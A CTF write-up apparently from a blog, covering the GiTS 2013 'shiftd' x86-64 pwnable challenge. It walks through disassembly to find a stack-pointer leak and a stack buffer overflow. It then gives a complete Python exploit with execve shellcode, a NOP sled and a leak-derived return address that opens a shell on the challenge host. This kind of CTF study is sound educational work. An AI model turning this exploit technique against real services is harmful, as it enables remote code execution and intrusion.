code hacking, zen coding

GiTS 2013 CTF – Pwnable 100 Question 8 – Shiftd

shiftd-3a9c2a55e77d1467ee46dfb931170c737d24f310: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

Shiftd is an interesting X86_64 challenge combining information leak and exploitation.

There is an hard-coded password for access to the service, then the binary asks you for your name and how you would like to format the current time:

$ nc shiftd.2013.ghostintheshellcode.com 5177
NowIsTheWinterOfOurDiscountTent
Welcome to Shifty's Time Formatting Service!
What is your name?
aXs
Welcome, aXs[!
Please provide a time format:
%y-%m-%d
Your formatted time is:
13-02-17

Thank you! Come again!

Do you notice something wrong with the name ? There is an extra character “[“. Lets do this against but login in hex the traffic:

< 00000020 69 6e 67 20 53 65 72 76 69 63 65 21 0a 57 68 61 # ing Service!.Wha
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 61 58 73 0a                                     # aXs.
< 00000040 57 65 6c 63 6f 6d 65 2c 20 61 58 73 bb ff 7f 21 # Welcome, aXs...!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a    # a time format:.

Oh, the character changed and we see some telltales of a information leak: “bbff7f”, the beginning of a stack pointer for X86_84.

Let’s take a look at the code to understand what’s going on, the main function is quite short so I will be it in full:

.text:0000000000400872 do_menu         proc near               ; CODE XREF: .text:0000000000400A77p
.text:0000000000400872
.text:0000000000400872 timer           = dword ptr -828h
.text:0000000000400872 buffer          = byte ptr -820h
.text:0000000000400872 format          = byte ptr -420h
.text:0000000000400872 name            = byte ptr -20h
.text:0000000000400872 tp              = qword ptr -10h
.text:0000000000400872 strftime_result = dword ptr -4
.text:0000000000400872
.text:0000000000400872                 push    rbp
.text:0000000000400873                 mov     rbp, rsp
.text:0000000000400876                 sub     rsp, 830h
.text:000000000040087D                 lea     rsi, [rbp+format]
.text:0000000000400884                 mov     eax, 0
.text:0000000000400889                 mov     edx, 80h
.text:000000000040088E                 mov     rdi, rsi
.text:0000000000400891                 mov     rcx, rdx
.text:0000000000400894                 rep stosq
.text:0000000000400897                 lea     rsi, [rbp+buffer]
.text:000000000040089E                 mov     eax, 0
.text:00000000004008A3                 mov     edx, 80h
.text:00000000004008A8                 mov     rdi, rsi
.text:00000000004008AB                 mov     rcx, rdx
.text:00000000004008AE                 rep stosq
.text:00000000004008B1                 mov     [rbp+strftime_result], 0
.text:00000000004008B8                 lea     rdi, s          ; "Welcome to Shifty's Time Formatting Ser"...
.text:00000000004008BF                 call    _puts
.text:00000000004008C4                 lea     rdi, aWhatIsYourName ; "What is your name?"
.text:00000000004008CB                 call    _puts
.text:00000000004008D0                 mov     rax, cs:stdout_ptr
.text:00000000004008D7                 mov     rax, [rax]
.text:00000000004008DA                 mov     rdi, rax        ; stream
.text:00000000004008DD                 call    _fflush
.text:00000000004008E2                 lea     rax, [rbp+name]
.text:00000000004008E6                 mov     edx, 0Ah
.text:00000000004008EB                 mov     esi, 10h
.text:00000000004008F0                 mov     rdi, rax
.text:00000000004008F3                 call    do_read
.text:00000000004008F8                 lea     rax, format     ; "Welcome, %s!\n"
.text:00000000004008FF                 lea     rdx, [rbp+name]
.text:0000000000400903                 mov     rsi, rdx
.text:0000000000400906                 mov     rdi, rax        ; format
.text:0000000000400909                 mov     eax, 0
.text:000000000040090E                 call    _printf
.text:0000000000400913                 lea     rdi, aPleaseProvideA ; "Please provide a time format:"
.text:000000000040091A                 call    _puts
.text:000000000040091F                 mov     rax, cs:stdout_ptr
.text:0000000000400926                 mov     rax, [rax]
.text:0000000000400929                 mov     rdi, rax        ; stream
.text:000000000040092C                 call    _fflush
.text:0000000000400931                 mov     rax, cs:off_601068
.text:0000000000400938                 mov     rcx, rax
.text:000000000040093B                 and     ecx, 7FFFFFFFh
.text:0000000000400941                 lea     rax, [rbp+format]
.text:0000000000400948                 mov     edx, 0Ah
.text:000000000040094D                 mov     rsi, rcx
.text:0000000000400950                 mov     rdi, rax
.text:0000000000400953                 call    do_read
.text:0000000000400958                 lea     rax, [rbp+timer]
.text:000000000040095F                 mov     rdi, rax        ; timer
.text:0000000000400962                 call    _time
.text:0000000000400967                 lea     rax, [rbp+timer]
.text:000000000040096E                 mov     rdi, rax        ; timer
.text:0000000000400971                 call    _localtime
.text:0000000000400976                 mov     [rbp+tp], rax
.text:000000000040097A                 mov     rcx, [rbp+tp]   ; tp
.text:000000000040097E                 lea     rdx, [rbp+format] ; format
.text:0000000000400985                 lea     rax, [rbp+buffer]
.text:000000000040098C                 mov     esi, 400h       ; maxsize
.text:0000000000400991                 mov     rdi, rax        ; s
.text:0000000000400994                 call    _strftime
.text:0000000000400999                 mov     [rbp+strftime_result], eax
.text:000000000040099C                 cmp     [rbp+strftime_result], 0C0000005h
.text:00000000004009A3                 jz      short failed_strftime
.text:00000000004009A5                 lea     rdi, aYourFormattedT ; "Your formatted time is:"
.text:00000000004009AC                 call    _puts
.text:00000000004009B1                 lea     rax, [rbp+buffer]
.text:00000000004009B8                 mov     rdi, rax        ; s
.text:00000000004009BB                 call    _puts
.text:00000000004009C0                 lea     rdi, empty_string ; s
.text:00000000004009C7                 call    _puts
.text:00000000004009CC                 lea     rdi, aThankYouComeAg ; "Thank you! Come again!"
.text:00000000004009D3                 call    _puts
.text:00000000004009D8                 mov     rax, cs:stdout_ptr
.text:00000000004009DF                 mov     rax, [rax]
.text:00000000004009E2                 mov     rdi, rax        ; stream
.text:00000000004009E5                 call    _fflush
.text:00000000004009EA                 leave
.text:00000000004009EB                 retn

The problem is that do_read() doesn’t NULL-terminate the string. So when we print the name, we print the name and whatever is after the name on the stack until we hit a NULL.

Let’s try again but with an empty name:

< 00000020 69 6e 67 20 53 65 72 76 69 63 65 21 0a 57 68 61 # ing Service!.Wha
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 0a                                              # .
< 00000040 57 65 6c 63 6f 6d 65 2c 20 80 c5 1d 6c ff 7f 21 # Welcome, ...l..!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a    # a time format:.

We get “80 c5 1d 6c ff 7f”, otherwise said 0x7fff6c1dc580 which is full pointer to an element on the stack (it’s a pointer to the previous string used by the password actually)

That’s a great piece for our puzzle as this binary is ALSR: memory layout and so pointers change values (randomized base) each time you run it. Now we can hit the stack with 100% confidence. But it’s not a vulnerability in itself. What else have we got in here ?

Let’s take a look at the do_read() (again!) call for reading the time format:

.text:0000000000400931                 mov     rax, cs:off_601068
.text:0000000000400938                 mov     rcx, rax
.text:000000000040093B                 and     ecx, 7FFFFFFFh
.text:0000000000400941                 lea     rax, [rbp+format]
.text:0000000000400948                 mov     edx, 0Ah
.text:000000000040094D                 mov     rsi, rcx
.text:0000000000400950                 mov     rdi, rax
.text:0000000000400953                 call    do_read

In the rdi register we have the maximum buffer size allowed to be read from the socket, coming from rax and cs:off_601068:

.data:0000000000601068 off_601068      dq offset stderr+400h   ; DATA XREF: do_menu+BFr

What is this? stderr is an external symbol of libc. It’s offset (position) in memory is a very big number and we are still adding even more with +400h.

As we can read almost as much we want in the format buffer due to the faulty max size, we can overflow it and smash the stack.

Using trial and error and Metasploit’s pattern_create tool we calculate we have to fill 1064 bytes until we hit and overwrite the return address on the stack.

Our exploit payload will be:
– Send [PASSWORD][empty name “\n”]
– Receive “Welcome, %s!” and decode pointer for information leak
– Calculate RETIP using the leaked pointer, our NOPSLED will be 2112 bytes before this pointer
– Send [NOPSLED][SHELLCODE][RETIP]

import socket
from struct import pack, unpack

host = 'shiftd.2013.ghostintheshellcode.com'
port = 5177

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send("NowIsTheWinterOfOurDiscountTent\n")

data = s.recv(16384)
print repr(data)

s.send("\n")

data = s.recv(16384)
stack = data[len('Welcome, '):len('Welcome, ')+6] +"\x00\x00"

stack_addr = unpack('<Q', stack)[0]

print "stack_addr=", hex(stack_addr)

retip = pack('<Q', stack_addr - 0x840)

print 'retip=', repr(retip), len(retip)

s.send('\x90' * 16 + shellcode + 'A' * (1064 - 16 - len(shellcode)) + retip + "\n")

data = s.recv(32768)
print repr(data)

s.send("\ncat /home/shiftd/key\n")

data = s.recv(32768)
print data

Result:

"Welcome to Shifty's Time Formatting Service!\nWhat is your name?\n"
stack_addr= 0x7fffeba157e0L
retip= '\xa0O\xa1\xeb\xff\x7f\x00\x00' 8
'Your formatted time is:\n\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\nThank you! Come again!\n'
http://shifty.urbanup.com/4195551
Share